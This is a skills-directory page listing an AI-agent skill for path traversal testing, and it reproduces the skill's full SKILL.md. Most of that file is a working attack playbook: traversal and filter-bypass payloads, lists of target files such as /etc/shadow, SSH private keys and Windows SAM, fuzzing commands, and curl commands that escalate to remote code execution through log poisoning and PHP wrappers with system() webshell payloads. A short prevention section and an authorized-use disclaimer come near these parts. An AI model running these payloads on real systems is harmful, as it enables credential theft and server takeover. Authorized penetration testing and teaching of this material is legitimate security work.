Skills DirectorySkills Directory
SkillsLearnSecurityCategoriesDocsCommunityBlog
Sign InSubmit Skill
Skills Directory

Security-tested agent skills for Claude, coding agents, and AI workflows.

Directory

  • Browse Skills
  • All Skills A–Z
  • Claude Skills
  • Claude Code Skills
  • Agent Skills
  • Categories
  • Submit a Skill

Learn

  • Learn Hub
  • Install Claude Skills
  • Write SKILL.md
  • Skills vs MCP
  • Directories Compared

Security

  • Security
  • Methodology
  • Secure Claude Skills
  • Security Badges

Company

  • About
  • Community
  • Blog
  • API Docs
  • Advertise

2026 Skills Directory. All rights reserved.

Back to skills

File Path Traversal V2

CSecurity

File Path Traversal Testing workflow skill. Use this skill when the user needs Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code and the operator should preserve the upstream workflow, copied support files, and provenance before merging or handing off.

135 stars
0 votes
0 copies
0 views
Added 9/6/2026
ai-agentspythongophpbashsqltestingdebugginggitapisecurity

Works with

cursorcliapi

Security Analysis

C63/100
criticalAccesses sensitive system or user directories
criticalAccesses sensitive system or user directories
criticalReads or references SSH private keys

Scanned 9/6/2026

Install to Claude Code

$npx -y skills add diegosouzapw/awesome-omni-skills --skill file-path-traversal-v2 --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of File Path Traversal V2?

Add the live security badge to your README — it updates automatically with every re-scan.

Security grade badge for File Path Traversal V2
[![Security: C — Skills Directory](https://www.skillsdirectory.com/api/skills/diegosouzapw-file-path-traversal-v2-awesome-omni-skills/badge)](https://www.skillsdirectory.com/skills/diegosouzapw-file-path-traversal-v2-awesome-omni-skills)

More formats (shields.io, HTML) on the badges page.

Download Zip
Files
SKILL.md
---
name: "file-path-traversal-v2"
description: "File Path Traversal Testing workflow skill. Use this skill when the user needs Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code and the operator should preserve the upstream workflow, copied support files, and provenance before merging or handing off."
version: "0.0.1"
category: "development"
tags:
  - "file-path-traversal-v2"
  - "file-path-traversal"
  - "identify"
  - "and"
  - "exploit"
  - "file"
  - "path"
  - "traversal"
  - "omni-enhanced"
complexity: "advanced"
risk: "caution"
tools:
  - "codex-cli"
  - "claude-code"
  - "cursor"
  - "gemini-cli"
  - "opencode"
source: "omni-team"
author: "Omni Skills Team"
date_added: "2026-04-16"
date_updated: "2026-05-10"
source_type: "omni-curated"
maintainer: "Omni Skills Team"
family_id: "file-path-traversal-v2"
family_name: "File Path Traversal Testing"
variant_id: "omni"
variant_label: "Omni Curated"
is_default_variant: true
derived_from: "skills/file-path-traversal-v2"
upstream_skill: "skills/file-path-traversal-v2"
upstream_author: "zebbern"
upstream_source: "community"
upstream_pr: "271"
upstream_head_repo: "diegosouzapw/awesome-omni-skills"
upstream_head_sha: "93ab394af5645f7127d5003ee02c9566ae5353cd"
curation_surface: "skills_omni"
enhanced_origin: "omni-skills-private"
source_repo: "diegosouzapw/awesome-omni-skills"
replaces:
  - "file-path-traversal-v2"
---

# File Path Traversal Testing

## Overview

This public intake copy packages `plugins/antigravity-awesome-skills/skills/file-path-traversal` from `https://github.com/sickn33/antigravity-awesome-skills` into the native Omni Skills editorial shape without hiding its origin.

Use it when the operator needs the upstream workflow, support files, and repository context to stay intact while the public validator and private enhancer continue their normal downstream flow.

This intake keeps the copied upstream files intact and uses the `external_source` block in `metadata.json` plus `ORIGIN.md` as the provenance anchor for review.

> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # File Path Traversal Testing

Imported source sections that did not map cleanly to the public headings are still preserved below or in the support files. Notable imported sections: Purpose, Prerequisites, Outputs and Deliverables, Constraints and Limitations.

## When to Use This Skill

Use this section as the trigger filter. It should make the activation boundary explicit before the operator loads files, runs commands, or opens a pull request.

- This skill is applicable to execute the workflow or actions described in the overview.
- Use when the request clearly matches the imported source intent: Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code.
- Use when the operator should preserve upstream workflow detail instead of rewriting the process from scratch.
- Use when provenance needs to stay visible in the answer, PR, or review packet.
- Use when copied upstream references, examples, or scripts materially improve the answer.
- Use when the workflow should remain reviewable in the public intake repo before the private enhancer takes over.

## Operating Table

| Situation | Start here | Why it matters |
| --- | --- | --- |
| First-time use | `metadata.json` | Confirms repository, branch, commit, and imported path through the `external_source` block before touching the copied workflow |
| Provenance review | `ORIGIN.md` | Gives reviewers a plain-language audit trail for the imported source |
| Workflow execution | `SKILL.md` | Starts with the smallest copied file that materially changes execution |
| Supporting context | `SKILL.md` | Adds the next most relevant copied source file without loading the entire package |
| Handoff decision | `## Related Skills` | Helps the operator switch to a stronger native skill when the task drifts |

## Workflow

This workflow is intentionally editorial and operational at the same time. It keeps the imported source useful to the operator while still satisfying the public intake standards that feed the downstream enhancer flow.

1. ../ sequence moves up one directory
2. Chain multiple sequences to reach root
3. Access files outside intended directory
4. Confidentiality - Read sensitive files
5. Integrity - Write/modify files (in some cases)
6. Availability - Delete files (in some cases)
7. Code Execution - If combined with file upload or log poisoning

### Imported Workflow Notes

#### Imported: Core Workflow

### Phase 1: Understanding Path Traversal

Path traversal occurs when applications use user input to construct file paths:

```php
// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);
```

Attack principle:
- `../` sequence moves up one directory
- Chain multiple sequences to reach root
- Access files outside intended directory

Impact:
- **Confidentiality** - Read sensitive files
- **Integrity** - Write/modify files (in some cases)
- **Availability** - Delete files (in some cases)
- **Code Execution** - If combined with file upload or log poisoning

### Phase 2: Identifying Traversal Points

Map application for potential file operations:

```bash
# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=
```

Common vulnerable functionality:
- Image loading: `/image?filename=23.jpg`
- Template selection: `?template=blue.php`
- File downloads: `/download?file=report.pdf`
- Document viewers: `/view?doc=manual.pdf`
- Include mechanisms: `?page=about`

### Phase 3: Basic Exploitation Techniques

#### Simple Path Traversal

```bash
# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding

# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"
```

#### Absolute Path Injection

```bash
# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ

# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini
```

### Phase 4: Bypass Techniques

#### Bypass Stripped Traversal Sequences

```bash
# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd

# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
```

#### Bypass Extension Validation

```bash
# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png

# Path truncation
../../../etc/passwd...............................

# Double extension
../../../etc/passwd.jpg.php
```

#### Bypass Base Directory Validation

```bash
# When path must start with expected directory
/var/www/images/../../../etc/passwd

# Expected path followed by traversal
images/../../../etc/passwd
```

#### Bypass Blacklist Filters

```bash
# Unicode/UTF-8 encoding
..%c0%af..%c0%af..%c0%afetc/passwd
..%c1%9c..%c1%9c..%c1%9cetc/passwd

# Overlong UTF-8 encoding
%c0%2e%c0%2e%c0%af

# URL encoding variations
%2e%2e/
%2e%2e%5c
..%5c
..%255c

# Case variations (Windows)
....\\....\\etc\\passwd
```

### Phase 5: Linux Target Files

High-value files to target:

```bash
# System files
/etc/passwd           # User accounts
/etc/shadow           # Password hashes (root only)
/etc/group            # Group information
/etc/hosts            # Host mappings
/etc/hostname         # System hostname
/etc/issue            # System banner

# SSH files
/root/.ssh/id_rsa           # Root private key
/root/.ssh/authorized_keys  # Authorized keys
/home/<user>/.ssh/id_rsa    # User private keys
/etc/ssh/sshd_config        # SSH configuration

# Web server files
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/apache2/sites-enabled/000-default.conf
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log

# Application files
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/var/www/html/web.config

# Process information
/proc/self/environ      # Environment variables
/proc/self/cmdline      # Process command line
/proc/self/fd/0         # File descriptors
/proc/version           # Kernel version

# Common application configs
/etc/mysql/my.cnf
/etc/postgresql/*/postgresql.conf
/opt/lampp/etc/httpd.conf
```

### Phase 6: Windows Target Files

Windows-specific targets:

```bash
# System files
C:\windows\win.ini
C:\windows\system.ini
C:\boot.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\SAM
C:\windows\repair\SAM

# IIS files
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

# Configuration files
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\mysql\user.MYD
C:\xampp\passwords.txt
C:\xampp\phpmyadmin\config.inc.php

# User files
C:\Users\<user>\.ssh\id_rsa
C:\Users\<user>\Desktop\
C:\Documents and Settings\<user>\
```

### Phase 7: Automated Testing

#### Using Burp Suite

```
1. Capture request with file parameter
2. Send to Intruder
3. Mark file parameter value as payload position
4. Load path traversal wordlist
5. Start attack
6. Filter responses by size/content for success
```

#### Using ffuf

```bash
# Basic traversal fuzzing
ffuf -u "http://target.com/image?filename=FUZZ" \
     -w /usr/share/wordlists/traversal.txt \
     -mc 200

# Fuzzing with encoding
ffuf -u "http://target.com/page?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200,500 -ac
```

#### Using wfuzz

```bash
# Traverse to /etc/passwd
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
      --hc 404 \
      "http://target.com/index.php?file=FUZZ"

# With headers/cookies
wfuzz -c -z file,traversal.txt \
      -H "Cookie: session=abc123" \
      "http://target.com/load?path=FUZZ"
```

### Phase 8: LFI to RCE Escalation

#### Log Poisoning

```bash
# Inject PHP code into logs
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/

# Include Apache log file
curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id"

# Include auth.log (SSH)
# First: ssh '<?php system($_GET["cmd"]); ?>'@target.com
curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami"
```

#### Proc/self/environ

```bash
# Inject via User-Agent
curl -A "<?php system('id'); ?>" \
     "http://target.com/page?file=/proc/self/environ"

# With command parameter
curl -A "<?php system(\$_GET['c']); ?>" \
     "http://target.com/page?file=/proc/self/environ&c=whoami"
```

#### PHP Wrapper Exploitation

```bash
# php://filter - Read source code as base64
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# php://input - Execute POST data as PHP
curl -X POST -d "<?php system('id'); ?>" \
     "http://target.com/page?file=php://input"

# data:// - Execute inline PHP
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id"

# expect:// - Execute system commands
curl "http://target.com/page?file=expect://id"
```

### Phase 9: Testing Methodology

Structured testing approach:

```bash
# Step 1: Identify potential parameters
# Look for file-related functionality

# Step 2: Test basic traversal
../../../etc/passwd

# Step 3: Test encoding variations
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Step 4: Test bypass techniques
....//....//....//etc/passwd
..;/..;/..;/etc/passwd

# Step 5: Test absolute paths
/etc/passwd

# Step 6: Test with null bytes (legacy)
../../../etc/passwd%00.jpg

# Step 7: Attempt wrapper exploitation
php://filter/convert.base64-encode/resource=index.php

# Step 8: Attempt log poisoning for RCE
```

### Phase 10: Prevention Measures

Secure coding practices:

```php
// PHP: Use basename() to strip paths
$filename = basename($_GET['file']);
$path = "/var/www/files/" . $filename;

// PHP: Validate against whitelist
$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];
if (in_array($_GET['file'], $allowed)) {
    include("/var/www/files/" . $_GET['file']);
}

// PHP: Canonicalize and verify base path
$base = "/var/www/files/";
$realBase = realpath($base);
$userPath = $base . $_GET['file'];
$realUserPath = realpath($userPath);

if ($realUserPath && strpos($realUserPath, $realBase) === 0) {
    include($realUserPath);
}
```

```python
# Python: Use os.path.realpath() and validate
import os

def safe_file_access(base_dir, filename):
    # Resolve to absolute path
    base = os.path.realpath(base_dir)
    file_path = os.path.realpath(os.path.join(base, filename))

    # Verify file is within base directory
    if file_path.startswith(base):
        return open(file_path, 'r').read()
    else:
        raise Exception("Access denied")
```

#### Imported: Purpose

Identify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.

## Examples

### Example 1: Ask for the upstream workflow directly

```text
Use @file-path-traversal-v2 to handle <task>. Start from the copied upstream workflow, load only the files that change the outcome, and keep provenance visible in the answer.
```

**Explanation:** This is the safest starting point when the operator needs the imported workflow, but not the entire repository.

### Example 2: Ask for a provenance-grounded review

```text
Review @file-path-traversal-v2 against metadata.json and ORIGIN.md, then explain which copied upstream files you would load first and why.
```

**Explanation:** Use this before review or troubleshooting when you need a precise, auditable explanation of origin and file selection.

### Example 3: Narrow the copied support files before execution

```text
Use @file-path-traversal-v2 for <task>. Load only the copied references, examples, or scripts that change the outcome, and name the files explicitly before proceeding.
```

**Explanation:** This keeps the skill aligned with progressive disclosure instead of loading the whole copied package by default.

### Example 4: Build a reviewer packet

```text
Review @file-path-traversal-v2 using the copied upstream files plus provenance, then summarize any gaps before merge.
```

**Explanation:** This is useful when the PR is waiting for human review and you want a repeatable audit packet.



## Best Practices

Treat the generated public skill as a reviewable packaging layer around the upstream repository. The goal is to keep provenance explicit and load only the copied source material that materially improves execution.

- Keep the imported skill grounded in the upstream repository; do not invent steps that the source material cannot support.
- Prefer the smallest useful set of support files so the workflow stays auditable and fast to review.
- Keep provenance, source commit, and imported file paths visible in notes and PR descriptions.
- Point directly at the copied upstream files that justify the workflow instead of relying on generic review boilerplate.
- Treat generated examples as scaffolding; adapt them to the concrete task before execution.
- Route to a stronger native skill when architecture, debugging, design, or security concerns become dominant.



## Troubleshooting

### Problem: The operator skipped the imported context and answered too generically

**Symptoms:** The result ignores the upstream workflow in `plugins/antigravity-awesome-skills/skills/file-path-traversal`, fails to mention provenance, or does not use any copied source files at all.
**Solution:** Re-open `metadata.json`, `ORIGIN.md`, and the most relevant copied upstream files. Check the `external_source` block first, then restate the provenance before continuing.

### Problem: The imported workflow feels incomplete during review

**Symptoms:** Reviewers can see the generated `SKILL.md`, but they cannot quickly tell which references, examples, or scripts matter for the current task.
**Solution:** Point at the exact copied references, examples, scripts, or assets that justify the path you took. If the gap is still real, record it in the PR instead of hiding it.

### Problem: The task drifted into a different specialization

**Symptoms:** The imported skill starts in the right place, but the work turns into debugging, architecture, design, security, or release orchestration that a native skill handles better.
**Solution:** Use the related skills section to hand off deliberately. Keep the imported provenance visible so the next skill inherits the right context instead of starting blind.

### Imported Troubleshooting Notes

#### Imported: Troubleshooting

| Problem | Solutions |
|---------|-----------|
| No response difference | Try encoding, blind traversal, different files |
| Payload blocked | Use encoding variants, nested sequences, case variations |
| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning |

## Related Skills

- `@00-andruia-consultant` - Use when the work is better handled by that native specialization after this imported skill establishes context.
- `@00-andruia-consultant-v2` - Use when the work is better handled by that native specialization after this imported skill establishes context.
- `@10-andruia-skill-smith` - Use when the work is better handled by that native specialization after this imported skill establishes context.
- `@10-andruia-skill-smith-v2` - Use when the work is better handled by that native specialization after this imported skill establishes context.

## Additional Resources

Use this support matrix and the linked files below as the operator packet for this imported skill. They should reflect real copied source material, not generic scaffolding.

| Resource family | What it gives the reviewer | Example path |
| --- | --- | --- |
| `references` | copied reference notes, guides, or background material from upstream | `references/n/a` |
| `examples` | worked examples or reusable prompts copied from upstream | `examples/n/a` |
| `scripts` | upstream helper scripts that change execution or validation | `scripts/n/a` |
| `agents` | routing or delegation notes that are genuinely part of the imported package | `agents/n/a` |
| `assets` | supporting assets or schemas copied from the source package | `assets/n/a` |



### Imported Reference Notes

#### Imported: Quick Reference

### Common Payloads

| Payload | Target |
|---------|--------|
| `../../../etc/passwd` | Linux password file |
| `..\..\..\..\windows\win.ini` | Windows INI file |
| `....//....//....//etc/passwd` | Bypass simple filter |
| `/etc/passwd` | Absolute path |
| `php://filter/convert.base64-encode/resource=config.php` | Source code |

### Target Files

| OS | File | Purpose |
|----|------|---------|
| Linux | `/etc/passwd` | User accounts |
| Linux | `/etc/shadow` | Password hashes |
| Linux | `/proc/self/environ` | Environment vars |
| Windows | `C:\windows\win.ini` | System config |
| Windows | `C:\boot.ini` | Boot config |
| Web | `wp-config.php` | WordPress DB creds |

### Encoding Variants

| Type | Example |
|------|---------|
| URL Encoding | `%2e%2e%2f` = `../` |
| Double Encoding | `%252e%252e%252f` = `../` |
| Unicode | `%c0%af` = `/` |
| Null Byte | `%00` |

#### Imported: Prerequisites

### Required Tools
- Web browser with developer tools
- Burp Suite or OWASP ZAP
- cURL for testing payloads
- Wordlists for automation
- ffuf or wfuzz for fuzzing

### Required Knowledge
- HTTP request/response structure
- Linux and Windows filesystem layout
- Web application architecture
- Basic understanding of file APIs

#### Imported: Outputs and Deliverables

1. **Vulnerability Report** - Identified traversal points and severity
2. **Exploitation Proof** - Extracted file contents
3. **Impact Assessment** - Accessible files and data exposure
4. **Remediation Guidance** - Secure coding recommendations

#### Imported: Constraints and Limitations

### Permission Restrictions
- Cannot read files application user cannot access
- Shadow file requires root privileges
- Many files have restrictive permissions

### Application Restrictions
- Extension validation may limit file types
- Base path validation may restrict scope
- WAF may block common payloads

### Testing Considerations
- Respect authorized scope
- Avoid accessing genuinely sensitive data
- Document all successful access

Attribution

diegosouzapwdiegosouzapw
View sourceMore from diegosouzapw →
SSkills DirectorySkills Directory

Your tool, in front of Claude Code builders.

3 founder slots · $299/mo · GSC-verified traffic · sponsors can never buy grades.

See placements

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments (0)

No comments yet. Be the first to comment!

SSkills DirectorySkills Directory

Your tool, in front of Claude Code builders.

3 founder slots · $299/mo · GSC-verified traffic · sponsors can never buy grades.

See placements

Related Skills

Caveman

Ultra-compressed communication mode. Cuts token usage ~75% by speaking like caveman while keeping full technical accuracy. Supports intensity levels: lite, full (default), ultra, wenyan-lite, wenyan-full, wenyan-ultra. Use when user says "caveman mode", "talk like caveman", "use caveman", "less tokens", "be brief", or invokes /caveman. Also auto-triggers when token efficiency is requested.

1023331 votes

Hyperplan

Adversarial multi-agent planning skill. Self-orchestrates 5 hostile category members (unspecified-low, unspecified-high, deep, ultrabrain, artistry) via team-mode for ruthless cross-critique debate, distills only the defensible insights, then MANDATORILY hands the distilled insight bundle to the `plan` agent for executable plan formalization. Use when planning needs maximum rigor and surfacing of weak assumptions, blind spots, and over-engineering. Triggers: 'hyperplan', 'hpp', '/hyperplan', ...

686011 votes

Mcp Code Execution

Routes multi-tool workflows through MCP servers for large datasets and pipelines. Use when Bash tool overhead is limiting throughput on data-heavy tasks.

3351 votes

catchup

Recovers prior coding-agent session context by running `catchup <agent> --since-compact`, which extracts a clean summary of a previous Codex, Claude Code, Antigravity, OpenCode, or Pi Agent session. Use when the user says "catch up", "what did the last session do", "get me up to speed", "I switched agents", or asks to recover/summarize a previous session before continuing. Do NOT use for the current conversation, git history, or any non-agent log.

611 votes

math-skill

A comprehensive mathematical reasoning skill for AI assistants — handles arithmetic to research-level problems with rigorous step-by-step reasoning, systematic verification, and transparent uncertainty handling

381 votes
View all in ai-agents →